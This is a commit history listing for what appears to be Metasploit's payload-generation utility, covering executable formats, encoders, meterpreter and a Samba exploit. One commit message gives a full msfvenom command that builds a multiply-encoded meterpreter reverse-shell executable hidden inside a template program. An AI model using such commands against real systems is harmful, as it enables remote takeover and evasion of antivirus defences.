Brendan Coles
b016447ea6
Land #11350 , Add missing to_linux_armle_elf_dll method to Msf::Util::EXE
...
Allow generation of ARMLE shared object payloads
2019-02-02 22:15:04 -08:00
Wei Chen
9256c6f0c1
Land #11125 , Import/generate ysoserial Java serialization objects
2019-01-17 10:46:29 -06:00
Brent Cook
2ef7af93cc
Land #10563 , Add 'Notes' metadata section
...
This also backports portions of #10348 for console search
2018-10-30 11:00:37 -05:00
William Vu
e423d5c358
Land #10707 , module traits to augment module rank
2018-10-24 17:18:09 -05:00
Adam Cammack
9e3f4744f7
Land #10602 , Fix windows/shell/reverse_ord_tcp doc
2018-09-07 10:08:28 -07:00
Shelby Pace
5827fb5174
Land #10284 , Inform the user about lack of CVE
2018-07-12 11:24:04 -05:00
Brent Cook
33a909939d
Land #10215 , add support for payload estimation for IPv6-specific modules
2018-06-27 14:49:00 -07:00
Brent Cook
6ea0e734f9
Land #9851 , add workaround require for non-powershell psexec
2018-04-26 08:29:58 -07:00
Brent Cook
d98e85f97c
Land #9803 , Fix no-uac msi creation
2018-04-03 09:13:30 -05:00
Brent Cook
13c8072bca
Land #9505 , Support local knowledge base documents
2018-02-20 09:24:12 -06:00
Brent Cook
1045c1fc11
Land #9564 , honoring retry counts for x86/64 Windows reverse_tcp payloads
2018-02-15 13:22:56 -08:00
Wei Chen
72ed11574b
Land #9532 , Fix a bug in the MD docs references
...
Land #9532
2018-02-12 11:55:18 -06:00
Adam Cammack
e82ff28374
Land #9490 , Fix HTML escaping of Unicode in docs
2018-02-06 23:33:34 -06:00
Matthew Kienow
67e7ea4df9
Fix markdown premature less-than sign escape
2018-01-04 15:51:05 -05:00
Tim
4ec0faf35d
fix aarch64 cmdstager
2017-11-15 16:47:17 +08:00
Evgeny Naumov
d5cdd2567a
add missing method
2017-10-16 16:01:53 -04:00
bwatters-r7
7df18e378d
Fix conflicts in PR 8509 by mergeing to master
2017-10-09 10:30:21 -05:00
Tim
86ee77ffb0
add aarch64 nops and fix aarch64 cmdstager
2017-08-31 18:48:58 +08:00
Tim
8b4ccc66c7
add linux/aarch64/shell_reverse_tcp
2017-08-17 18:55:37 +08:00
Brent Cook
f5e76092d6
Merge branch 'master' into land-8439-
2017-07-18 08:25:18 -05:00
Christian Mehlmauer
3c7d6c3a6a
fixed some bugs
2017-07-17 10:10:12 +02:00
Christian Mehlmauer
7d6992c0e8
respect windows
2017-07-17 09:58:20 +02:00
L3cr0f
6a3fc618a4
Add bypassuac_injection_winsxs.rb module
2017-06-03 12:59:50 +02:00
Tim
32a83e0d30
update macho check for 32bit + fat
2017-05-30 14:00:24 +08:00
HD Moore
0520d7cf76
First crack at Samba CVE-2017-7494
2017-05-24 19:42:04 -05:00
Tim
d333077308
osx meterpreter
2017-05-23 14:23:22 +08:00
Tim
a68a1858a9
Fix #7703 , mark osx-app macho as executable
2017-05-18 18:24:35 +08:00
nixawk
484a545629
Replace exe.rb double variable declare
2017-04-16 22:38:49 -05:00
Elijah Frederickson
9e89567ce5
Fix #8191 (msfvenom cannot create exe-service)
...
Fixes issue #8191 : Cannot create exe-service from msfvenom
2017-04-05 12:49:46 -04:00
Brent Cook
8995629037
Land #7061 , allow chaining the service stub with other encoders
2017-03-15 13:56:09 -05:00
Brent Cook
f69b4a330e
handle Ruby 2.4 Fixnum/Bignum -> Integer deprecations
2017-01-22 10:20:03 -06:00
Brent Cook
fa016de78a
Land #7634 , Implement universal HTTP/S handlers for Meterpreter payloads
2016-12-13 18:13:22 -06:00
Adam Cammack
1ec7474067
Don't embed ELFs in ELF templates
2016-12-06 14:14:40 -06:00
OJ
ffee0ff1b6
Fix payload cache size issue, fix shell/bind payloads
2016-12-06 11:12:02 +10:00
Brent Cook
f313389be4
Merge remote-tracking branch 'upstream/master' into land-7507-uuid-arch
2016-11-20 19:08:56 -06:00
David Maloney
451686309b
fixes #7519 psh payload generation
...
a few files references to the templates for pwoershell were
missed when transfering the templates over to the rex-powershell gem
2016-11-01 14:32:40 -05:00
OJ
1d617ae389
Implement first pass of architecture/platform refactor
2016-10-28 07:16:05 +10:00
David Maloney
af4f3e7a0d
use templates from the gem for psh
...
use the templates now contained within the magical
gem of rex-powershell
7309
MS-2106
2016-10-04 14:14:25 -05:00
dmohanty-r7
4c4f2e45d6
Land #7283 , add jsp payload generator
2016-09-16 14:37:59 -05:00
Christian Mehlmauer
c6012e7947
add jsp payload generator
2016-09-06 22:17:21 +02:00
William Vu
954dee752b
Sort msfvenom --help-platforms
...
Also sort --help-formats.
2016-08-25 14:02:58 -05:00
Brendan
ee40c9d809
Land #6625 , Send base64ed shellcode and decode with certutil (Actually MSXML)
2016-07-28 13:01:05 -07:00
wchen-r7
21f5da29d4
Remove unwanted <ruby> tag while generating module doc code
2016-07-25 15:38:59 -05:00
agix
378208bc3d
Move service stub in x86 encoder to be easily used.
...
Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to
encode the x86/service stub.
Add multiple_encode_payload function in payload_generator.rb to accept a
list of encoder (beginning with @ to not break the classic parsing of
encoder).
With this it would be possible to pass multiple encoder to msfvenom in
one execution.
./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80
LHOST=192.168.100.11 -e
@x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x
template.exe -f exe-only -o meterpreter.exe
2016-06-23 14:56:03 +02:00
David Maloney
1e053c110a
Merge branch 'master' into feature/rex-cleanup/first-gems
2016-06-22 09:20:44 -05:00
David Maloney
69e2d05a5d
rip out old rex code and replace with gems
...
rex-text, rex-random_identifier, rex-powershell, rex-zip, and rex-registry
are now being pulled in as gems instead of part of the spgehtti code that is lib/rex
2016-06-21 13:56:36 -05:00
wchen-r7
129b449355
Add Msf::Util::EXE.to_zip
...
This adds a new method in Msf::Util::EXE to be able to create a
zip file with an array of binary data.
2016-06-20 13:36:59 -05:00
h00die
78775f7833
first attempt at 6964
2016-06-15 07:44:32 -04:00
h00die
7831cb53c5
print status of opening browser at file
2016-06-11 21:13:31 -04:00
Christian Mehlmauer
7fcddd5a05
Add axis2 payload generator
2016-05-12 22:48:07 +02:00